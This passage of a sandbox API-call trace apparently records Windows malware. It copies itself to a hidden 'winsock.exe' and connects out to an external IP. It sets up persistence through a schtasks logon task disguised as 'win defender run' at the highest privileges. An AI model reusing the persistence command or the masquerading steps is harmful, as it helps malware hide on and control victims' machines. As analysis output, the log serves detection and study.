bManualReset=0, bInitialState=0, lpName=0x0) returned 0x57c [0151.996] ioctlsocket (in: s=0x574, cmd=-2147195266, argp=0x18ef8c | out: argp=0x18ef8c) returned 0 [0151.996] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x580 [0151.997] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x584 [0151.997] ioctlsocket (in: s=0x580, cmd=-2147195266, argp=0x18ef8c | out: argp=0x18ef8c) returned 0 [0151.997] WSAIoctl (in: s=0x574, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18ef74, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18ef74, lpOverlapped=0x0) returned -1 [0151.997] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18eca4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0151.997] WSAEventSelect (s=0x574, hEventObject=0x57c, lNetworkEvents=512) returned 0 [0151.997] WSAIoctl (in: s=0x580, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18ef74, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18ef74, lpOverlapped=0x0) returned -1 [0151.997] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18eca4, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0151.998] WSAEventSelect (s=0x580, hEventObject=0x584, lNetworkEvents=512) returned 0 [0151.998] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x18ef70*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x18ef70*=0xa80) returned 0x6f [0152.008] LocalAlloc (uFlags=0x0, uBytes=0xa80) returned 0xfc7a18 [0152.008] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0xfc7a18, SizePointer=0x18ef70*=0xa80 | out: AdapterAddresses=0xfc7a18*(Alignment=0x600000178, Length=0x178, IfIndex=0x6, Next=0xfc7cc8, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0xfc7c3c, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0x1a, [2]=0x28, [3]=0x64, [4]=0xaa, [5]=0xa0, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0xfc7b90*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x18ef70*=0xa80) returned 0x0 [0152.031] LocalFree (hMem=0xfc7a18) returned 0x0 [0152.040] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x18ef8c | out: phkResult=0x18ef8c*=0x578) returned 0x0 [0152.040] RegQueryValueExW (in: hKey=0x578, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x18efa8, lpData=0x0, lpcbData=0x18efa4*=0x0 | out: lpType=0x18efa8*=0x0, lpData=0x0, lpcbData=0x18efa4*=0x0) returned 0x2 [0152.040] RegCloseKey (hKey=0x578) returned 0x0 [0152.041] WSAConnect (in: s=0x56c, name=0x2608500*(sa_family=2, sin_port=0x50, sin_addr="208.95.112.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0152.064] closesocket (s=0x544) returned 0 [0152.069] send (s=0x56c, buf=0x2609120*, len=144, flags=0) returned 144 [0152.072] setsockopt (s=0x56c, level=65535, optname=4102, optval="\x10'", optlen=4) returned 0 [0152.072] recv (in: s=0x56c, buf=0x2604518, len=4096, flags=0 | out: buf=0x2604518*) returned 476 [0152.093] setsockopt (s=0x56c, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0152.094] SetEvent (hEvent=0x3f4) returned 1 [0152.366] EtwEventRegister (in: ProviderId=0x2618d04, EnableCallback=0x254066e, CallbackContext=0x0, RegHandle=0x2618ce0 | out: RegHandle=0x2618ce0) returned 0x0 [0152.395] GetCurrentProcess () returned 0xffffffff [0152.395] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed50 | out: TokenHandle=0x18ed50*=0x578) returned 1 [0152.396] GetCurrentProcess () returned 0xffffffff [0152.396] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed60 | out: TokenHandle=0x18ed60*=0x58c) returned 1 [0152.550] DeleteFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe:zone.identifier")) returned 0 [0152.555] CloseHandle (hObject=0x3c8) returned 1 [0152.585] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", nBufferLength=0x105, lpBuffer=0x18ed74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", lpFilePart=0x0) returned 0x2c [0152.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f218) returned 1 [0152.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir"), fInfoLevelId=0x0, lpFileInformation=0x18f294 | out: lpFileInformation=0x18f294*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0152.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f214) returned 1 [0152.586] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", nBufferLength=0x105, lpBuffer=0x18ed78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir", lpFilePart=0x0) returned 0x2c [0152.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f1a8) returned 1 [0152.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir"), fInfoLevelId=0x0, lpFileInformation=0x18f224 | out: lpFileInformation=0x18f224*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0152.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f1a4) returned 1 [0152.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f1a8) returned 1 [0152.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir"), fInfoLevelId=0x0, lpFileInformation=0x18f224 | out: lpFileInformation=0x18f224*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0152.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f1a4) returned 1 [0152.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f1a8) returned 1 [0152.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x18f224 | out: lpFileInformation=0x18f224*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x387476d6, ftLastAccessTime.dwHighDateTime=0x1da42d5, ftLastWriteTime.dwLowDateTime=0x387476d6, ftLastWriteTime.dwHighDateTime=0x1da42d5, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0152.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f1a4) returned 1 [0152.588] CreateDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir"), lpSecurityAttributes=0x0) returned 1 [0152.597] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", nBufferLength=0x105, lpBuffer=0x18ed7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", lpFilePart=0x0) returned 0x38 [0152.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18f224) returned 1 [0152.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f2a0 | out: lpFileInformation=0x18f2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0152.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18f220) returned 1 [0152.597] GetLongPathNameW (in: lpszShortPath="C:\\Users\\RDHJ0C~1\\", lpszLongPath=0x18ed18, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\RDhJ0CNFevzX\\") returned 0x16 [0152.598] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe", nBufferLength=0x105, lpBuffer=0x18ed2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe", lpFilePart=0x0) returned 0x33 [0152.598] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", nBufferLength=0x105, lpBuffer=0x18ed2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", lpFilePart=0x0) returned 0x38 [0152.598] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\windef.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe"), bFailIfExists=0) returned 1 [0152.689] GetCurrentProcess () returned 0xffffffff [0152.689] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f214 | out: TokenHandle=0x18f214*=0x3c8) returned 1 [0152.691] GetTokenInformation (in: TokenHandle=0x3c8, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f214 | out: TokenInformation=0x0, ReturnLength=0x18f214) returned 0 [0152.691] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xfa1ef0 [0152.691] GetTokenInformation (in: TokenHandle=0x3c8, TokenInformationClass=0x8, TokenInformation=0xfa1ef0, TokenInformationLength=0x4, ReturnLength=0x18f214 | out: TokenInformation=0xfa1ef0, ReturnLength=0x18f214) returned 1 [0152.693] LocalFree (hMem=0xfa1ef0) returned 0x0 [0152.694] DuplicateTokenEx (in: hExistingToken=0x3c8, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x18f21c | out: phNewToken=0x18f21c*=0x590) returned 1 [0152.694] CheckTokenMembership (in: TokenHandle=0x590, SidToCheck=0x262bf10*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18f22c | out: IsMember=0x18f22c) returned 1 [0152.695] CloseHandle (hObject=0x590) returned 1 [0152.695] CloseHandle (hObject=0x3c8) returned 1 [0152.700] CoTaskMemAlloc (cb=0x20e) returned 0xfc96c0 [0152.700] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0xfc96c0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0152.700] CoTaskMemFree (pv=0xfc96c0) [0152.702] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0x18f008*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x262c3f0 | out: lpCommandLine="\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe\" /rl HIGHEST /f", lpProcessInformation=0x262c3f0*(hProcess=0x590, hThread=0x3c8, dwProcessId=0x1208, dwThreadId=0x120c)) returned 1 [0152.723] CloseHandle (hObject=0x3c8) returned 1 [0152.724] GetCurrentProcess () returned 0xffffffff [0152.724] GetCurrentProcess () returned 0xffffffff [0152.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x590, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18f22c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18f22c*=0x3c8) returned 1 [0152.724] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x3e8, cHandles=0x1, pHandles=0x18f224*=0x3c8, lpdwindex=0x18f044 | out: lpdwindex=0x18f044) returned 0x0 [0152.725] CoGetContextToken (in: pToken=0x18e05c | out: pToken=0x18e05c) returned 0x0 [0152.725] CoGetContextToken (in: pToken=0x18e03c | out: pToken=0x18e03c) returned 0x0 [0152.725] CoGetContextToken (in: pToken=0x18dfc0 | out: pToken=0x18dfc0) returned 0x0 [0152.725] WbemLocator:IUnknown:Release (This=0xf93b48) returned 0x1 [0152.725] WbemLocator:IUnknown:Release (This=0xf27c60) returned 0x0 [0152.727] CoGetContextToken (in: pToken=0x18dfc0 | out: pToken=0x18dfc0) returned 0x0 [0152.727] IUnknown:Release (This=0xf9a850) returned 0x2 [0152.727] IUnknown:Release (This=0xf9a850) returned 0x1 [0152.729] CoGetContextToken (in: pToken=0x18e05c | out: pToken=0x18e05c) returned 0x0 [0152.729] CoGetContextToken (in: pToken=0x18e014 | out: pToken=0x18e014) returned 0x0 [0152.729] WbemLocator:IUnknown:Release (This=0xf94968) returned 0x1 [0152.729] IUnknown:Release (This=0xf8be88) returned 0x0 [0153.741] CloseHandle (hObject=0x3c8) returned 1 [0153.743] GetExitCodeProcess (in: hProcess=0x590, lpExitCode=0x18f28c | out: lpExitCode=0x18f28c*=0x0) returned 1 [0153.745] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", nBufferLength=0x105, lpBuffer=0x18ed8c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", lpFilePart=0x0) returned 0x38 [0153.749] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", dwFileAttributes=0x2) returned 1 [0153.749] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe:zone.identifier")) returned 0 [0153.751] CoTaskMemAlloc (cb=0x20e) returned 0xf967a0 [0153.751] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0xf967a0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0153.751] CoTaskMemFree (pv=0xf967a0) [0153.751] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpStartupInfo=0x18f03c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x262cf9c | out: lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\"", lpProcessInformation=0x262cf9c*(hProcess=0x364, hThread=0x3c8, dwProcessId=0x12f8, dwThreadId=0xb1c)) returned 1 [0154.297] CloseHandle (hObject=0x3c8) returned 1 [0154.369] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=2, lMaximumCount=2, lpName=0x0) returned 0x3c8 [0154.470] GetCurrentProcess () returned 0xffffffff [0154.470] GetCurrentThread () returned 0xfffffffe [0154.470] GetCurrentProcess () returned 0xffffffff [0154.471] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18f32c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18f32c*=0x35c) returned 1 [0154.476] GetCurrentThreadId () returned 0x1264 [0154.489] OleInitialize (pvReserved=0x0) returned 0x0 [0154.493] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x18f310 | out: lplpMessageFilter=0x18f310*=0x0) returned 0x0 [0154.496] CoGetContextToken (in: pToken=0x18f1c8 | out: pToken=0x18f1c8) returned 0x0 [0154.496] IUnknown:QueryInterface (in: This=0xf21058, riid=0x6f1638a4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f1ec | out: ppvObject=0x18f1ec*=0xf21064) returned 0x0 [0154.496] IComThreadingInfo:GetCurrentThreadType (in: This=0xf21064, pThreadType=0x18f24c | out: pThreadType=0x18f24c*=1) returned 0x0 [0154.496] IUnknown:Release (This=0xf21064) returned 0x0 [0154.497] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0xeeabf8*=0x130, lpdwindex=0x18f06c | out: lpdwindex=0x18f06c) returned 0x0 Thread: id = 13 os_tid = 0x1254 Thread: id = 14 os_tid = 0x124c Thread: id = 15 os_tid = 0x1248 [0142.701] CoGetContextToken (in: pToken=0xb9f924 | out: pToken=0xb9f924) returned 0x800401f0 [0142.701] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0142.701] RoInitialize () returned 0x1 [0142.701] RoUninitialize () returned 0x0 [0151.127] CoGetContextToken (in: pToken=0xb9f910 | out: pToken=0xb9f910) returned 0x0 [0151.127] CoGetContextToken (in: pToken=0xb9f890 | out: pToken=0xb9f890) returned 0x0 [0151.127] WbemLocator:IUnknown:Release (This=0xf6fde0) returned 0x1 [0151.127] WbemLocator:IUnknown:Release (This=0xf6fde0) returned 0x0 [0151.127] CoGetContextToken (in: pToken=0xb9f910 | out: pToken=0xb9f910) returned 0x0 [0151.127] IUnknown:QueryInterface (in: This=0xf21058, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb9f8b4 | out: ppvObject=0xb9f8b4*=0xf21068) returned 0x0 [0151.128] CObjectContext::ContextCallback () returned 0x0 [0152.727] IUnknown:Release (This=0xf21068) returned 0x1 [0152.727] IUnknown:Release (This=0xf9a850) returned 0x0 [0152.728] CoGetContextToken (in: pToken=0xb9f758 | out: pToken=0xb9f758) returned 0x0 [0152.728] IUnknown:QueryInterface (in: This=0xf21058, riid=0x6f17da0c*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb9f6fc | out: ppvObject=0xb9f6fc*=0xf21068) returned 0x0 [0152.728] CObjectContext::ContextCallback () returned 0x0 [0152.810] IUnknown:Release (This=0xf21068) returned 0x1 [0152.810] IUnknown:Release (This=0xf21058) returned 0x0 [0152.810] CryptDestroyKey (hKey=0xf30898) returned 1 [0152.810] CryptReleaseContext (hProv=0xf3a388, dwFlags=0x0) returned 1 [0152.810] CryptReleaseContext (hProv=0xf3a388, dwFlags=0x0) returned 1 [0152.810] CryptDestroyKey (hKey=0xf303d8) returned 1 [0152.810] CryptReleaseContext (hProv=0xf3a300, dwFlags=0x0) returned 1 [0152.810] CryptReleaseContext (hProv=0xf3a300, dwFlags=0x0) returned 1 [0152.811] CryptDestroyKey (hKey=0xf30a58) returned 1 [0152.811] CryptReleaseContext (hProv=0xf39ec0, dwFlags=0x0) returned 1 [0152.811] CryptReleaseContext (hProv=0xf39ec0, dwFlags=0x0) returned 1 [0152.811] CryptDestroyKey (hKey=0xf306d8) returned 1 [0152.811] CryptReleaseContext (hProv=0xf39f48, dwFlags=0x0) returned 1 [0152.811] CryptReleaseContext (hProv=0xf39f48, dwFlags=0x0) returned 1 [0152.811] CloseHandle (hObject=0x2d4) returned 1 [0152.811] CryptDestroyKey (hKey=0xf30998) returned 1 [0152.811] CryptReleaseContext (hProv=0xf3a8d8, dwFlags=0x0) returned 1 [0152.812] CryptReleaseContext (hProv=0xf3a8d8, dwFlags=0x0) returned 1 [0152.812] CryptDestroyKey (hKey=0xf30798) returned 1 [0152.812] CryptReleaseContext (hProv=0xf39db0, dwFlags=0x0) returned 1 [0152.812] CryptReleaseContext (hProv=0xf39db0, dwFlags=0x0) returned 1 [0152.812] CryptDestroyKey (hKey=0xf307d8) returned 1 [0152.812] CryptReleaseContext (hProv=0xf39a80, dwFlags=0x0) returned 1 [0152.812] CryptReleaseContext (hProv=0xf39a80, dwFlags=0x0) returned 1 [0152.813] CryptDestroyKey (hKey=0xf30518) returned 1 [0152.813] CryptReleaseContext (hProv=0xf39fd0, dwFlags=0x0) returned 1 [0152.813] CryptReleaseContext (hProv=0xf39fd0, dwFlags=0x0) returned 1 [0154.540] EtwEventUnregister (RegHandle=0xfaeee8) returned 0x0 [0154.540] EtwEventUnregister (RegHandle=0xfaf3c8) returned 0x0 [0154.547] CloseHandle (hObject=0x35c) returned 1 [0154.548] EtwEventUnregister (RegHandle=0xfae048) returned 0x0 [0154.552] setsockopt (s=0x574, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0154.552] closesocket (s=0x574) returned 0 [0154.552] CloseHandle (hObject=0x57c) returned 1 [0154.553] CloseHandle (hObject=0x590) returned 1 [0154.553] setsockopt (s=0x56c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0154.553] closesocket (s=0x56c) returned 0 [0154.555] CloseHandle (hObject=0x52c) returned 1 [0154.555] UnmapViewOfFile (lpBaseAddress=0x5020000) returned 1 [0154.556] CloseHandle (hObject=0x50c) returned 1 [0154.556] CloseHandle (hObject=0x508) returned 1 [0154.557] CloseHandle (hObject=0x504) returned 1 [0154.557] CloseHandle (hObject=0x4f8) returned 1 [0154.557] CloseHandle (hObject=0x364) returned 1 [0154.558] WinHttpCloseHandle 